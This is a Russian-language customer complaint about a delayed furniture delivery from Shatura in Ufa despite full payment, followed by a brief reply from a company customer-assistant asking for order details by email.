Купила мебель в Уфе. Пока все не оплатила, было все нормально. 31 января сделала последний платеж и стала ждать. 2 февраля позвонили из Москвы, сказали, что 4 февраля доставка, а 5-го сборка. 4-го целый день ждала - тишина, начала нервничать. Позвонила в Москву, сказали, что у меня не полная оплата, хотя все оплатила, чеки на руках. Склад не видит чеки, поэтому не отгрузили. Менеджер, которая продавала - игнорирует, никто не звонит, сижу в неведении: когда привезут?? Хоть бы позвонили! Остаток своего отпуска провожу в ожидании мебели, отменила поездку, которую давно запланировала. Ощущаю себя чуваком из камеди, который покупал арматуру, КРУТО!
Помощник покупателя Шатуры
12.02.2014
Ольга, добрый день! Благодарим Вас за оставленный отзыв! Чтобы разобраться в сложившейся ситуации мне необходимо знать, в каком магазине была совершена покупка и номер Вашего заказа. Напишите, пожалуйста, эти данные на почту: help@shatura-online.ru. Спасибо! Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура", www.shatura.com.
